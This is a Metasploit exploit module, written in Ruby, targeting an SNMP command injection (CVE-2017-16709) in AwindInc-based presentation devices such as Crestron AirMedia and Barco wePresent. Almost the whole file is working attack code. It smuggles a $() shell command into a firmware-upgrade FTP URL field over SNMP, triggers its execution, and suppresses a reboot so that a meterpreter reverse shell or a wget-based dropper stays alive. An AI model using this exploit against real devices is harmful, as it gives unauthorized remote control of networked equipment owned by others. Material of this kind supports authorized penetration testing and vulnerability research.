##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::SNMPClient
include Msf::Exploit::CmdStager
def initialize(info={})
super(update_info(info,
'Name' => "AwindInc SNMP Service Command Injection",
'Description' => %q{
This module exploits a vulnerability found in AwindInc and OEM'ed products where untrusted inputs are fed to ftpfw.sh system command, leading to command injection.
A valid SNMP read-write community is required to exploit this vulnerability.
The following devices are known to be affected by this issue:
* Crestron Airmedia AM-100 <= version 1.5.0.4
* Crestron Airmedia AM-101 <= version 2.5.0.12
* Awind WiPG-1600w <= version 2.0.1.8
* Awind WiPG-2000d <= version 2.1.6.2
* Barco wePresent 2000 <= version 2.1.5.7
* Newline Trucast 2 <= version 2.1.0.5
* Newline Trucast 3 <= version 2.1.3.7
},
'License' => MSF_LICENSE,
'Author' =>
[
'Quentin Kaiser <kaiserquentin[at]gmail.com>'
],
'References' =>
[
['CVE', '2017-16709'],
['URL', 'https://github.com/QKaiser/awind-research'],
['URL', 'https://qkaiser.github.io/pentesting/2019/03/27/awind-device-vrd/']
],
'DisclosureDate' => '2019-03-27',
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_ARMLE],
'Privileged' => true,
'Targets' => [
['Unix In-Memory',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_memory,
'Payload' => {
'Compat' => {'PayloadType' => 'cmd', 'RequiredCmd' => 'openssl'}
}
],
['Linux Dropper',
'Platform' => 'linux',
'Arch' => ARCH_ARMLE,
'CmdStagerFlavor' => %w[wget],
'Type' => :linux_dropper
]
],
'DefaultTarget' => 1,
'DefaultOptions' => {'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp'}))
register_options(
[
OptString.new('COMMUNITY', [true, 'SNMP Community String', 'private']),
])
end
def check
begin
connect_snmp
sys_description = snmp.get_value('1.3.6.1.2.1.1.1.0').to_s
print_status("Target system is #{sys_description}")
# AM-100 and AM-101 considered EOL, no fix so no need to check version.
model = sys_description.scan(/Crestron Electronics (AM-100|AM-101)/).flatten.first
case model
when 'AM-100', 'AM-101'
return CheckCode::Vulnerable
else
# TODO: insert description check for other vulnerable models (that I don't have)
# In the meantime, we return 'safe'.
return CheckCode::Safe
end
rescue SNMP::RequestTimeout
print_error("#{ip} SNMP request timeout.")
rescue Rex::ConnectionError
print_error("#{ip} Connection refused.")
rescue SNMP::UnsupportedVersion
print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.")
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_error("Unknown error: #{e.class} #{e}")
ensure
disconnect_snmp
end
Exploit::CheckCode::Unknown
end
def inject_payload(cmd)
begin
connect_snmp
varbind = SNMP::VarBind.new([1,3,6,1,4,1,3212,100,3,2,9,1,0],SNMP::OctetString.new(cmd))
resp = snmp.set(varbind)
if resp.error_status == :noError
print_status("Injection successful")
else
print_status("OID not writable or does not provide WRITE access with community '#{datastore['COMMUNITY']}'")
end
rescue SNMP::RequestTimeout
print_error("#{ip} SNMP request timeout.")
rescue Rex::ConnectionError
print_error("#{ip} Connection refused.")
rescue SNMP::UnsupportedVersion
print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.")
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_error("Unknown error: #{e.class} #{e}")
ensure
disconnect_snmp
end
end
def trigger
begin
connect_snmp
varbind = SNMP::VarBind.new([1,3,6,1,4,1,3212,100,3,2,9,5,0],SNMP::Integer32.new(1))
resp = snmp.set(varbind)
if resp.error_status == :noError
print_status("Trigger successful")
else
print_status("OID not writable or does not provide WRITE access with community '#{datastore['COMMUNITY']}'")
end
rescue SNMP::RequestTimeout
print_error("#{ip} SNMP request timeout.")
rescue Rex::ConnectionError
print_error("#{ip} Connection refused.")
rescue SNMP::UnsupportedVersion
print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.")
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_error("Unknown error: #{e.class} #{e}")
ensure
disconnect_snmp
end
end
def exploit
case target['Type']
when :unix_memory
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager
end
end
def execute_command(cmd, opts = {})
# The payload must start with a valid FTP URI otherwise the injection point is not reached
cmd = "ftp://1.1.1.1/$(#{cmd.to_s})"
# When the FTP download fails, the script calls /etc/reboot.sh and we loose the callback
# We therefore kill /etc/reboot.sh before it reaches /sbin/reboot with that command and
# keep our reverse shell opened :)
cmd << "$(pkill -f /etc/reboot.sh)"
# the MIB states that camFWUpgradeFTPURL must be 255 bytes long so we pad
cmd << "A" * (255-cmd.length)
# we inject our payload in camFWUpgradeFTPURL
print_status("Injecting payload")
inject_payload(cmd)
# we trigger the firmware download via FTP, which will end up calling this
# "/bin/getRemoteURL.sh %s %s %s %d"
print_status("Triggering call")
trigger
end
end
